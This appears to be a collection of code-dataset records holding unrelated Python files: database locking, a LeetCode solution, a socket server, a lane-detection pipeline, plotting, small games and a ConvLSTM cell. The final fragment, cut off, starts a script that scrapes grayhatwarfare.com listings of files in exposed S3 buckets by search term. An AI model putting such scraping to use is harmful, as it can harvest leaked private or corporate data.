Transactions\r\n t1=Transaction_id\r\n\r\n for sublist in Transaction_table:#iterrate through for loop to compare timestamps to implement wound-wait protocol\r\n if(sublist[0]==t1):\r\n timestamp1=sublist[1]\r\n\r\n for lock_table_tid in lock_table[index_lt][2]:\r\n if(lock_table_tid!=Transaction_id):\r\n t2=lock_table_tid\r\n \r\n for sublist in Transaction_table:\r\n if(sublist[0]==t2):\r\n timestamp2=sublist[1]\r\n \r\n if(timestamp1>timestamp2):# if requesting data_item has larger timestamp value,it is blocked.\r\n print(\"BLOCK T\"+str(t1)+\" as ITEM \"+str(Data_item)+\" is held by T\"+str(t2)+\" and T\"+str(t1)+\" is younger than T\"+str(t2))\r\n output_file.write(\"BLOCK T\"+str(t1)+\" as ITEM \"+str(Data_item)+\" is held by T\"+str(t2)+\" and T\"+str(t1)+\" is younger than T\"+str(t2))\r\n output_file.write('\\n') \r\n block_transaction(t1,t2,tr) \r\n elif(timestamp1\n## Tags:\n## Description:\n## https://leetcode.com/problems/factorial-trailing-zeroes/description/\n## ,-----------\n## | class Solution(object):\n## | def trailingZeroes(self, n):\n## | \"\"\"\n## | :type n: int\n## | :rtype: int\n## | \"\"\"\n## | if n < 0:\n## | return None\n## | if n == 0 or n == 1:\n## | return 0\n## | \n## | import math\n## | k = int(math.log(n, 5))\n## | # print \"k: %d\" % (k)\n## | res = 0\n## | pow_val = 5\n## | for i in xrange(1, k+1):\n## | res += n/pow_val\n## | pow_val *= 5\n## | return res\n## `-----------\n##\n## Basic Idea:\n## Complexity:\n## --\n## Created : <2017-10-16>\n## Updated: Time-stamp: <2017-10-28 21:01:16>\n##-------------------------------------------------------------------\nclass Solution(object):\n def checkPerfectNumber(self, num):\n \"\"\"\n :type num: int\n :rtype: bool\n \"\"\"\n ## Idea: sqrt(num)\n ## Complexity:\n ## Sample Data:\n ## 1 2 7\n if num <= 1:\n return False\n import math\n sum = 1\n for i in range(2, int(math.sqrt(num))+1):\n if num % i == 0:\n sum += i\n if i != num/i:\n sum += num/i\n return sum == num\n","sub_path":"factorial-trailing-zeroes/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"411266807","text":"import socket\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nserver.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\nserver.bind(('localhost',5000))\n\nserver.listen()\n\nwhile True:\n#Метод .accept заморозил скрипт ,он жет вхожящего подключения\n#до тех пор по не будет входящего подключения\n#другими словами, метод accept() блокирующая функция, блокирует выполнение скриптa \n\tprint('Before .accept()')\n\t# принимает входящие данные \n\t# если с сервера что то пришло , то метод accept() \n\t# возращает кортеж где , первый это сокет клиента а второй это адрес \n\tclient_socket, addr = server.accept()\n\tprint('Connection from:',addr)\n\t# этот цикл мониторит входящие сообщения \n\twhile True:\n\t\tprint('befor recv()')\n\n\t\trequest = client_socket.recv(4096)\n\n\t\tif not request:\n\t\t\tbreak \n\t\telse:\n\t\t\tresponse = 'Hellow wirls\\n'.encode()\n\t\t\t# rкодируем строку в байти, метод encode() кодирует в байты по умолчанию\n\t\t\tclient_socket.send(response)\n\n\n\tprint('Вне внутреннего цикла')\n\tclient_socket.close()","sub_path":"4_async_gens.py","file_name":"4_async_gens.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"203934195","text":"import numpy as np\nimport cv2\nimport glob\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport pickle\nimport glob\nimport os\nfrom moviepy.editor import VideoFileClip\nfrom line import Line\nfrom utils import *\nfrom pipeline import *\n\nimages = glob.glob('test_images/*.jpg')\n# images = glob.glob('test_images/*.png')\n# images = glob.glob('test_images/test5.jpg')\nfor idx, fname in enumerate(images):\n image = mpimg.imread(fname)\n result = pipeline(image)\n\n left_line.detected = False\n left_line.recent_fits = []\n left_line.best_fit = None\n\n right_line.detected = False\n right_line.recent_fits = []\n right_line.best_fit = None\n\n # Plot the result\n f, (ax1, ax2) = plt.subplots(1, 2, figsize=(24, 9))\n f.tight_layout()\n\n ax1.imshow(image)\n ax1.set_title('Original Image', fontsize=40)\n\n ax2.imshow(result, cmap='gray')\n\n ax2.set_title('Pipeline Result', fontsize=40)\n plt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.)\n plt.show()\n\n\ndef process_image(image):\n result = pipeline(image)\n # plt.xticks([])\n # plt.yticks([])\n # plt.imshow(result)\n # plt.show()\n\n return result\n\nVIDEO_OUTPUT_DIR = 'test_videos_output/'\nif not os.path.isdir(VIDEO_OUTPUT_DIR):\n os.mkdir(VIDEO_OUTPUT_DIR)\n\ndef process_video(video_input, video_output):\n clip = VideoFileClip(os.path.join(os.getcwd(), video_input))\n processed = clip.fl_image(process_image)\n processed.write_videofile(os.path.join(VIDEO_OUTPUT_DIR, video_output), audio=False)\n\nprocess_video('project_video.mp4', 'project_video.mp4')\n# process_video('challenge_video.mp4', 'challenge_video.mp4')\n# process_video('harder_challenge_video.mp4', 'harder_challenge_video.mp4')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529107630","text":"from __future__ import division\n\n'''\nAuthor : Lyubimov, A.Y.\nCreated : 06/30/2016\nLast Changed: 06/30/2016\nDescription : XFEL UI Plots and Charts\n'''\n\nimport wx\nimport numpy as np\nfrom scitbx.array_family import flex\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.gridspec import GridSpec\nfrom matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigureCanvas\nfrom matplotlib.figure import Figure\n\nimport xfel.ui.components.xfel_gui_controls as gctr\n\nclass DoubleBarPlot(gctr.CtrlBase):\n def __init__(self, parent,\n label='',\n label_size=wx.DefaultSize,\n label_style='normal',\n content_style='normal',\n gauge_size=(250, 15),\n button_label='View Stats',\n button_size=wx.DefaultSize,\n choice_box=True,\n choice_label='',\n choice_label_size=wx.DefaultSize,\n choice_size=(100, -1),\n choice_style='normal',\n choices=[]):\n gctr.CtrlBase.__init__(self, parent=parent, label_style=label_style,\n content_style=content_style)\n\n self.sizer = wx.FlexGridSizer(1, 4, 0, 5)\n self.sizer.AddGrowableCol(1)\n self.dpi = wx.ScreenDC().GetPPI()[0]\n\n figsize = (gauge_size[0] / self.dpi, gauge_size[1] / self.dpi)\n self.status_figure = Figure(figsize=figsize)\n self.status_figure.patch.set_alpha(0)\n self.ax = self.status_figure.add_subplot(111)\n self.canvas = FigureCanvas(self, -1, self.status_figure)\n\n if choice_box:\n self.bins = gctr.ChoiceCtrl(self,\n label=choice_label,\n label_size=choice_label_size,\n label_style=choice_style,\n ctrl_size=choice_size,\n choices=choices)\n\n self.txt_iso = wx.StaticText(self, label=label, size=label_size)\n self.sizer.Add(self.txt_iso, flag=wx.ALIGN_CENTER_VERTICAL)\n self.sizer.Add(self.canvas, 1, flag=wx.EXPAND | wx.ALIGN_CENTER_VERTICAL)\n self.sizer.Add(self.bins, flag=wx.ALIGN_CENTER_VERTICAL)\n self.btn = wx.Button(self, label=button_label, size=button_size)\n self.sizer.Add(self.btn, 1, wx.ALIGN_RIGHT | wx.ALIGN_CENTER_VERTICAL)\n\n self.SetSizer(self.sizer)\n\n def redraw_axes(self, valuea, valueb, goal, xmax):\n ''' Re-draw axes with latest values '''\n\n self.ax.clear()\n bar = self.ax.barh(0, valueb, height=1, align='center', color='green')\n bar = self.ax.barh(0, valuea, height=1, align='center', color='#7570b3')\n\n xloc = xmax / 0.8\n label = '{:.1f}({:.1f})'.format(valueb, valuea)\n yloc = bar[0].get_y() + bar[0].get_height() / 2.0\n self.ax.text(xloc, yloc, label, horizontalalignment='right',\n verticalalignment='center', weight='bold',\n clip_on=False)\n\n self.ax.axvline(x=goal, lw=4, c='#d95f02')\n self.ax.set_xlim(xmax=xmax / 0.8)\n self.ax.axis('off')\n self.canvas.draw()\n self.Fit()\n\n\nclass NoBarPlot(gctr.CtrlBase):\n def __init__(self, parent,\n label='',\n label_size=wx.DefaultSize,\n label_style='bold'):\n gctr.CtrlBase.__init__(self, parent=parent, label_style=label_style,\n content_style='bold')\n\n self.sizer = wx.BoxSizer(wx.VERTICAL)\n self.info_sizer=wx.FlexGridSizer(1, 3, 0, 10)\n\n self.iso_txt = wx.StaticText(self, label=label, size=label_size)\n self.num_txt = wx.StaticText(self, label='0')\n self.end_txt = wx.StaticText(self, label='images integrated')\n self.iso_txt.SetFont(wx.Font(18, wx.DEFAULT, wx.NORMAL, wx.BOLD))\n self.num_txt.SetFont(wx.Font(20, wx.DEFAULT, wx.NORMAL, wx.BOLD))\n self.end_txt.SetFont(wx.Font(18, wx.DEFAULT, wx.NORMAL, wx.BOLD))\n\n self.info_sizer.Add(self.iso_txt, flag=wx.ALIGN_CENTER_VERTICAL)\n self.info_sizer.Add(self.num_txt, flag=wx.ALIGN_CENTER_VERTICAL)\n self.info_sizer.Add(self.end_txt, flag=wx.ALIGN_CENTER_VERTICAL)\n\n self.sizer.Add(self.info_sizer, flag=wx.ALIGN_CENTER)\n self.SetSizer(self.sizer)\n\n def update_number(self, number):\n self.num_txt.SetLabel(str(number))\n\nclass PopUpCharts(object):\n ''' Class to generate chargs and graphs that will appear in separate\n windows when user requests them, e.g. unit cell histogram chart '''\n\n def __init__(self):\n pass\n\n def reject_outliers(self, data):\n from scitbx.math import five_number_summary\n min_x, q1_x, med_x, q3_x, max_x = five_number_summary(data)\n #print \"Five number summary: min %.1f, q1 %.1f, med %.1f, q3 %.1f, max %.1f\"%(min_x, q1_x, med_x, q3_x, max_x)\n iqr_x = q3_x - q1_x\n cut_x = 1.5 * iqr_x\n outliers = flex.bool(len(data), False)\n outliers.set_selected(data > q3_x + cut_x, True)\n outliers.set_selected(data < q1_x - cut_x, True)\n return outliers\n\n def plot_uc_histogram(self, info):\n\n # Initialize figure\n fig = plt.figure(figsize=(12, 10))\n gsp = GridSpec(2, 3)\n\n # Extract uc dimensions from info list\n a = flex.double([i['a'] for i in info])\n b = flex.double([i['b'] for i in info])\n c = flex.double([i['c'] for i in info])\n alpha = flex.double([i['alpha'] for i in info])\n beta = flex.double([i['beta'] for i in info])\n gamma = flex.double([i['gamma'] for i in info])\n\n accepted = flex.bool(len(a), True)\n for d in [a, b, c, alpha, beta, gamma]:\n outliers = self.reject_outliers(d)\n accepted &= ~outliers\n\n a = a.select(accepted)\n b = b.select(accepted)\n c = c.select(accepted)\n alpha = alpha.select(accepted)\n beta = beta.select(accepted)\n gamma = gamma.select(accepted)\n\n nbins = int(np.sqrt(len(info))) * 2\n\n fig.suptitle('Histogram of Unit Cell Dimensions ({} images)'\n ''.format(len(a)), fontsize=18)\n\n sub_a = fig.add_subplot(gsp[0])\n sub_a.hist(a, nbins, normed=False, facecolor='#2c7fb8',\n alpha=0.75, histtype='stepfilled')\n sub_a.set_xlabel(\n \"a-edge (%.2f +/- %.2f $\\AA$)\" % (flex.mean(a),\n flex.mean_and_variance(a).unweighted_sample_standard_deviation()))\n sub_a.set_ylabel('Number of images')\n\n sub_b = fig.add_subplot(gsp[1], sharey=sub_a)\n sub_b.hist(b, nbins, normed=False, facecolor='#2c7fb8',\n alpha=0.75, histtype='stepfilled')\n sub_b.set_xlabel(\n \"b-edge (%.2f +/- %.2f $\\AA$)\" % (flex.mean(b),\n flex.mean_and_variance(b).unweighted_sample_standard_deviation()))\n plt.setp(sub_b.get_yticklabels(), visible=False)\n sub_b.xaxis.get_major_ticks()[0].label1.set_visible(False)\n sub_b.xaxis.get_major_ticks()[-1].label1.set_visible(False)\n\n sub_c = fig.add_subplot(gsp[2], sharey=sub_a)\n sub_c.hist(c, nbins, normed=False, facecolor='#2c7fb8',\n alpha=0.75, histtype='stepfilled')\n sub_c.set_xlabel(\n \"c-edge (%.2f +/- %.2f $\\AA$)\" % (flex.mean(c),\n flex.mean_and_variance(c).unweighted_sample_standard_deviation()))\n plt.setp(sub_c.get_yticklabels(), visible=False)\n sub_c.xaxis.get_major_ticks()[0].label1.set_visible(False)\n sub_c.xaxis.get_major_ticks()[-1].label1.set_visible(False)\n\n sub_alpha = fig.add_subplot(gsp[3])\n sub_alpha.hist(alpha, nbins, normed=False, facecolor='#7fcdbb',\n alpha=0.75, histtype='stepfilled')\n sub_alpha.set_xlabel(\n r'$\\alpha (%.2f +/- %.2f\\circ)$' % (flex.mean(alpha),\n flex.mean_and_variance(alpha).unweighted_sample_standard_deviation()))\n sub_alpha.set_ylabel('Number of images')\n\n sub_beta = fig.add_subplot(gsp[4], sharey=sub_alpha)\n sub_beta.hist(beta, nbins, normed=False, facecolor='#7fcdbb',\n alpha=0.75, histtype='stepfilled')\n sub_beta.set_xlabel(\n r'$\\beta (%.2f +/- %.2f\\circ)$' % (flex.mean(beta),\n flex.mean_and_variance(beta).unweighted_sample_standard_deviation()))\n plt.setp(sub_beta.get_yticklabels(), visible=False)\n sub_beta.xaxis.get_major_ticks()[0].label1.set_visible(False)\n sub_beta.xaxis.get_major_ticks()[-1].label1.set_visible(False)\n\n sub_gamma = fig.add_subplot(gsp[5], sharey=sub_alpha)\n sub_gamma.hist(gamma, nbins, normed=False, facecolor='#7fcdbb',\n alpha=0.75, histtype='stepfilled')\n sub_gamma.set_xlabel(\n r'$\\gamma (%.2f +/- %.2f\\circ)$' % (flex.mean(gamma),\n flex.mean_and_variance(gamma).unweighted_sample_standard_deviation()))\n plt.setp(sub_gamma.get_yticklabels(), visible=False)\n sub_gamma.xaxis.get_major_ticks()[0].label1.set_visible(False)\n sub_gamma.xaxis.get_major_ticks()[-1].label1.set_visible(False)\n\n gsp.update(wspace=0)\n plt.show()\n","sub_path":"xfel/ui/components/xfel_gui_plotter.py","file_name":"xfel_gui_plotter.py","file_ext":"py","file_size_in_byte":8818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"558487430","text":"import fresh_tomatoes\r\nimport media\r\n\r\n\"\"\"Defining an array of Movie instances with\r\n Movie Title, poster_image_url, trailer_youtube_url\r\n\"\"\"\r\n\r\nTrainspotting = media.Movie(\"Trainspotting\",\r\n \"https://upload.wikimedia.org/wikipedia/en/7/71/Trainspotting_ver2.jpg\", # NOQA\r\n \"https://www.youtube.com/watch?v=8LuxOYIpu-I\")\r\n\r\nBronx_Tale = media.Movie(\"Bronx Tale\",\r\n \"https://upload.wikimedia.org/wikipedia/en/3/3e/A_Bronx_Tale.jpg\", # NOQA\r\n \"https://www.youtube.com/watch?v=q5nQyoo1LwY\")\r\n\r\nSocial_Network = media.Movie(\"Social Network\",\r\n \"https://upload.wikimedia.org/wikipedia/en/7/7a/Social_network_film_poster.jpg\", # NOQA\r\n \"https://www.youtube.com/watch?v=lB95KLmpLR4\")\r\n\r\nOld_School = media.Movie(\"Old School\",\r\n \"https://upload.wikimedia.org/wikipedia/en/2/21/Old_s_poster.jpg\", # NOQA\r\n \"https://www.youtube.com/watch?v=VqtymOtKr48\")\r\n\r\nStep_Brothers = media.Movie(\"Step Brothers\",\r\n \"https://upload.wikimedia.org/wikipedia/en/d/d9/StepbrothersMP08.jpg\", # NOQA\r\n \"https://www.youtube.com/watch?v=CewglxElBK0\")\r\n\r\nTrainspotting_T2 = media.Movie(\"Trainspotting T2\",\r\n \"https://upload.wikimedia.org/wikipedia/en/1/1c/T2_%E2%80%93_Trainspotting_poster.jpg\", # NOQA\r\n \"https://www.youtube.com/watch?v=EsozpEE543w\")\r\n\r\nmovies = [Trainspotting, Bronx_Tale, Social_Network,\r\n Old_School, Step_Brothers, Trainspotting_T2]\r\n\r\n\"\"\"Passing movies array to open_movies_page() function of freshtomatoes.py\"\"\"\r\nfresh_tomatoes.open_movies_page(movies)\r\n","sub_path":"entertainment_centre.py","file_name":"entertainment_centre.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"48229928","text":"#\n#\n# file: ModifiedConvLSTMCellA.py\n# author: Jingquan Lee\n# date: 2019-03-18\n#\n#\n\nimport tensorflow as tf\n\nclass ModifiedConvLSTMCellA:\n \"\"\"Modified Conv-LSTM cell.\n \"\"\"\n\n def __init__(self, shape, filter_size, num_features, h_depth=1):\n \"\"\"Initialize Modified Conv-LSTM cell.\n Args:\n -shape: a tuple of int, the height and width of the inputs,\n cell_state, hidden_state.\n -filter_size: a tuple of int, the height and width of filter.\n -num_features: int, the num of channels of cell state.\n -h_depth: int, the num of channels of hidden state.\n \"\"\"\n self._shape = shape\n self._filter_size = filter_size\n self._num_features = num_features\n self._h_depth = h_depth\n\n def __call__(self, inputs, state, scope=\"MConvLSTM\", bias_start=0.0):\n with tf.variable_scope(scope, reuse=tf.AUTO_REUSE):\n c, h = state\n f = tf.multiply(h, inputs)\n matrix1 = tf.get_variable(\n 'Matrix1', [self._filter_size[0], self._filter_size[1],\n inputs.shape[3], self._num_features],\n dtype=tf.float32)\n matrix2 = tf.get_variable(\n 'Matrix2', [self._filter_size[0], self._filter_size[1],\n inputs.shape[3], self._num_features], dtype=tf.float32)\n matrix3 = tf.get_variable(\n 'Matrix3', [self._filter_size[0], self._filter_size[1], \n 2 * self._num_features, self._h_depth], dtype=tf.float32)\n bias1 = tf.get_variable(\n 'Bias1', [self._num_features], dtype=tf.float32,\n initializer=tf.constant_initializer(bias_start, dtype=tf.float32))\n bias2 = tf.get_variable(\n 'Bias2', [self._num_features], dtype=tf.float32,\n initializer=tf.constant_initializer(bias_start, dtype=tf.float32))\n bias3 = tf.get_variable(\n 'Bias3', [self._h_depth], dtype=tf.float32,\n initializer=tf.constant_initializer(bias_start, dtype=tf.float32))\n \n res1 = tf.nn.conv2d(f, matrix1, strides=[1, 1, 1, 1], padding='SAME')\n res2 = tf.nn.conv2d(f, matrix2, strides=[1, 1, 1, 1], padding='SAME')\n res1 = tf.tanh(res1 + bias1)\n res2 = tf.sigmoid(res2 + bias2)\n res1 = tf.multiply(h, c) + res1\n res = tf.concat([res1, res2], axis=3)\n c = res1\n h = tf.nn.conv2d(res, matrix3, strides=[1, 1, 1, 1], padding='SAME')\n h = tf.sigmoid(h + bias3)\n new_state = (c, h)\n return new_state\n\n","sub_path":"model/ModifiedConvLSTMCellA.py","file_name":"ModifiedConvLSTMCellA.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298565169","text":"import sys,pygame\n\npygame.init()\npygame.font.init()\n\nmyfont = pygame.font.SysFont('Comic Sans MS', 30)\n\ncount = 0\n\n\nsize = width,height = 900,800\nspeed = [2,2]\nblack = 255,255,255\ncount = 0\n\nscreen = pygame.display.set_mode(size)\n\nball = pygame.image.load(\"ball.gif\")\nballrect = ball.get_rect()\n\n\n\nwhile 1:\n count += 1\n for event in pygame.event.get():\n if event.type == pygame.QUIT: sys.exit()\n\n ballrect = ballrect.move(speed)\n if ballrect.left < 0 or ballrect.right > width:\n speed[0] = -speed[0]\n if ballrect.top < 0 or ballrect.bottom > height:\n speed[1] = -speed[1]\n\n screen.fill(black)\n textsurface = myfont.render(str(count), False, (0, 0, 0))\n screen.blit(textsurface,(0,0))\n\n screen.blit(ball,ballrect)\n pygame.display.flip()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"403563135","text":"# Imports stuff\nimport pyglet\nfrom pyglet.window import key\nimport RectangleCollision\nimport random\n\n# Point variable\npoints = 0\n\n# Window stuff\nwindow = pyglet.window.Window(width=800,height=600,caption='GAME')\nicon = pyglet.image.load('icon.png')\nwindow.set_icon(icon)\n\n# Part of key stuff\nkeys = key.KeyStateHandler()\nwindow.push_handlers(keys)\n\n# Player Object\nclass player():\n direction = ''\n posx = 400\n posy = 300\n image = pyglet.image.load('player.png')\n\n# Point object\nclass point():\n posx = random.randint(32,750)\n posy = random.randint(32,550)\n image = pyglet.image.load('point.png')\n\n# Label for points object\nclass LabelPoints():\n label = pyglet.text.Label('points:' + str(points), x=10,y=580)\n# Block1 objects\nclass block1():\n posx1 = 500\n posy1 = 100\n posx2 = 50\n posy2 = 500\n image = pyglet.image.load('block1.png')\n# Solid object\nclass solid():\n def solid(obj1x,obj1y,obj2x,obj2y,obj1w=32,ob1h=32,obj2w=32,obj2h=32):\n if RectangleCollision.collision.rectangle(point.posx,point.posy,obj2x,obj2y,32,32,obj2w,obj2h):\n point.posx = random.randint(32,750)\n point.posy = random.randint(32,550)\n if RectangleCollision.collision.rectangle(obj1x,obj1y,obj2x,obj2y,obj1w,ob1h,obj2w,obj2h):\n if player.direction == 'left': player.posx += 2\n if player.direction == 'right': player.posx -= 2\n if player.direction == 'down': player.posy += 2\n if player.direction == 'up': player.posy -= 2\n if player.direction == 'up/left':\n player.posx += 2\n player.posy -= 2\n if player.direction == 'up/right':\n player.posx -= 2\n player.posy -= 2\n if player.direction == 'down/left':\n player.posx += 2\n player.posy += 2\n if player.direction == 'down/right':\n player.posx -= 2\n player.posy += 2\n\n# Update stuff\ndef update1(dt):\n # Movment stuff\n global keypressed\n if keys[key.A]:\n player.posx -= 2\n player.direction = 'left'\n if keys[key.D]:\n player.posx += 2\n player.direction = 'right'\n if keys[key.S] :\n player.posy -= 2\n player.direction = 'down'\n if keys[key.W]:\n player.posy += 2\n player.direction = 'up'\n if keys[key.W] and keys[key.A]:\n player.direction = 'up/left'\n if keys[key.W] and keys[key.D]:\n player.direction = 'up/right'\n if keys[key.S] and keys[key.A]:\n player.direction = 'down/left'\n if keys[key.S] and keys[key.D]:\n player.direction = 'down/right'\n # Collision stuff\n if RectangleCollision.collision.rectangle(player.posx,player.posy,point.posx,point.posy,32,32,32,32):\n point.posx = random.randint(32,750)\n point.posy = random.randint(32,550)\n global points\n points += 1\n LabelPoints.label = pyglet.text.Label('points:' + str(points), x=10,y=580)\n # Make block1 solid\n solid.solid(player.posx,player.posy,block1.posx1,block1.posy1,32,32,128,32)\n solid.solid(player.posx,player.posy,block1.posx2,block1.posy2,32,32,128,32)\n\n # So you can leave the screen stuff\n if player.posx >= 770:\n player.posx -= 2\n if player.posx <= -1:\n player.posx += 2\n if player.posy >= 570:\n player.posy -= 2\n if player.posy <= -1:\n player.posy += 2\n\n# Part of update stuff\npyglet.clock.schedule_interval(update1, 1/120)\n\n# On draw stuff\n@window.event\ndef on_draw():\n # Clears the window\n window.clear()\n # Draws the stuff on\n player.image.blit(player.posx,player.posy)\n point.image.blit(point.posx,point.posy)\n block1.image.blit(block1.posx1,block1.posy1)\n block1.image.blit(block1.posx2,block1.posy2)\n LabelPoints.label.draw()\n\n# Window stuff\npyglet.app.run()\n","sub_path":"MAIN.py","file_name":"MAIN.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"263275463","text":"# Author: John, Leo, & Viktoria, Sienna, Felix\n# Project: Connect 4 Simulation\n# Date: 12/12/2017\n\nimport pygame\nimport numpy\nimport functions\nimport sys\nimport winning\nimport bot\n\n\nclass Board:\n def __init__(self, rows, columns, piecesize=100):\n\n self.rows = rows\n self.columns = columns\n self.matrix = numpy.matrix(\n functions.createboard(self.rows, self.columns))\n # to avoid going through a string representation, you can also do\n # np.matrix(np.zeros((self.rows, 3), int))\n # Actually, you can use a numpy array instead of a numpy matrix:\n # np.zeros((self.rows, 3), int)\n # (numpy uses confusing terminology around array vs. matrix.)\n #\n # All this is fairly numpy-specific. If you do future projects with\n # numpy, it's worth learning this and more about numpy. The general\n # software design principle is to avoid using a string as an\n # intermediate representation, if possible – for efficiency, and because\n # sometimes (not in this case) doing so will create the possibility\n # of errors or imprecision that won't be present if you can convert\n # or construct a type directly.\n\n def draw(self, screen):\n # Drawing the grid\n for x in range(0, self.rows * 100, 100):\n for y in range(0, self.columns * 100, 100):\n rectangle = (x, y, 100, 100)\n pygame.draw.rect(screen, (0, 0, 255), rectangle, 5)\n\n # drawing the chips\n for x in range(self.rows):\n for y in range(self.columns):\n pos = (x * 100 + 50, y * 100 + 50)\n\n if self.matrix[y, x] == 1:\n color = (255, 255, 0) # player 1 is yellow\n elif self.matrix[y, x] == 2:\n color = (255, 0, 0) # player 2 is red\n else:\n continue\n pygame.draw.circle(screen, color, pos, 40)\n\n\n# Initializing and printing board\ngameboard = Board(7, 6)\nprint(gameboard.matrix)\n\n\n# Set colors and dimensions of board\nbackground_color = (255, 255, 255) # white\nwidth, height = 1000, 600 # screen dimensions for connect 4\n# width, height = 500, 400 #screen dimensions for connect 3\nblack = (0, 0, 0)\nplayer = 1 # Player 1 ges to start first\nTime = 0 # Timer Variable for delay\n# winning function to check if game has been won\nwin = winning.winning(gameboard.matrix)\n\n\n# Initializing game environment\npygame.init()\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('Connect 4')\n# screen.fill(background_color)\n\n\nintro = True # Intro screen\nrunning = False # Main game screen\nendscreen = False # End game screen\n\n\"Intro display renders the text center of page\"\nwhile intro:\n screen.fill(black)\n font = pygame.font.SysFont(\"Lucida Sans Typewriter\", 13)\n text1 = font.render(\n \"Welcome to Connect 4, Press S to start the game. Use 1,2,3,4,5,6,7 keys to place pieces\",\n True, (background_color))\n textrect = text1.get_rect()\n textrect.centerx = screen.get_rect().centerx\n textrect.centery = screen.get_rect().centery\n screen.blit(text1, textrect)\n pygame.display.update()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n pygame.quit()\n quit()\n if event.key == pygame.K_s:\n intro = False\n running = True\n\n# Main game screen\n# This code looks very similar to code in board.py.\n# See that file for additional comments.\n# But also – there should not be such similar files in the project.\nwhile running:\n screen.fill(background_color) # set up background\n gameboard.draw(screen) # draws the game board\n # Displays who's turn it is (Player 1 or bot)\n basicfont = pygame.font.SysFont(None, 45)\n text = basicfont.render('Player %.2d' % (\n player) + \"'s turn\", True, (0, 0, 0), (255, 255, 255))\n textrect = text.get_rect()\n textrect.centerx = 850\n textrect.centery = screen.get_rect().centery\n screen.blit(text, textrect)\n pygame.display.update()\n\n # If it is players 2's turn, we run the bot function\n if player == 2:\n bot.bot_player(4, gameboard.matrix.copy())\n # checks to see if the bot has won, if it has it shifts to end screen\n win = winning.winning(gameboard.matrix)\n if win[0] == True:\n running = False\n endscreen = True\n # Why is the process of checking whether the bot has won different from\n # checking whether the human has won?\n\n for event in pygame.event.get():\n\n if event.type == pygame.KEYDOWN:\n # If key is pressed, the function looks through the matrix and puts a piece\n # in the column that is given\n if event.key == pygame.K_1:\n functions.look_through_rows(gameboard.matrix, 0, player)\n print('keypress')\n if event.key == pygame.K_2:\n functions.look_through_rows(gameboard.matrix, 1, player)\n print('keypress')\n if event.key == pygame.K_3:\n functions.look_through_rows(gameboard.matrix, 2, player)\n print('keypress')\n if event.key == pygame.K_4:\n functions.look_through_rows(gameboard.matrix, 3, player)\n print('keypress')\n if event.key == pygame.K_5:\n functions.look_through_rows(gameboard.matrix, 4, player)\n print('keypress')\n if event.key == pygame.K_6:\n functions.look_through_rows(gameboard.matrix, 5, player)\n print('keypress')\n if event.key == pygame.K_7:\n functions.look_through_rows(gameboard.matrix, 6, player)\n print('keypress')\n print(gameboard.matrix)\n\n # Each time this function runs, the player variable alternates\n # if player 2 is selected, the bot proceeds to go.\n if player == 1:\n player = 2\n elif player == 2:\n player = 1\n\n gameboard.draw(screen)\n pygame.display.update()\n\n # checks to see if the game is over once again\n win = winning.winning(gameboard.matrix)\n if win[0] == True:\n running = False\n endscreen = True\n\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n pygame.quit()\n quit()\n\n# Doc strings are at the top of files, or class or function definitions.\n# Everywhere else, use comments.\n# End screen if the player or the bot wins\nwhile endscreen:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n pygame.quit()\n quit()\n\n screen.fill(background_color) # redraw background\n gameboard.draw(screen)\n\n basicfont = pygame.font.SysFont(None, 40)\n text = basicfont.render(\n 'Congrats!', True, (0, 0, 255), (255, 255, 255))\n textrect.centerx = 900\n textrect.centery = 200\n screen.blit(text, textrect)\n text1 = text.get_rect()\n text1 = basicfont.render('Player %.2d' % (\n win[1]) + ' Has Won', True, (0, 0, 255), (255, 255, 255))\n screen.blit(text1, (725, 230))\n\n pygame.display.update()\n\npygame.quit()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"345777457","text":"import argparse\nimport os\nfrom requests import get\nfrom requests.exceptions import RequestException\nfrom contextlib import closing\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse\nfrom time import sleep\n\nparser = argparse.ArgumentParser(description='Scrape s3 stuff from grayhatwarefare')\nparser.add_argument('pagination_start', metavar='pagination_start', type=int, help='pagination value to start on (0 for the beginning)')\nparser.add_argument('search_value', metavar='search_value', type=str, help='search value (e.g. \\'xls\\')')\nparser.add_argument('request_timeout_ms', metavar='request_timeout_ms', type=int, help='timeout between requests to grayhatwarfare in ms')\n\n# 'xls' is the search term\ngrayhat_host = 'https://buckets.grayhatwarfare.com'\nbase_url = 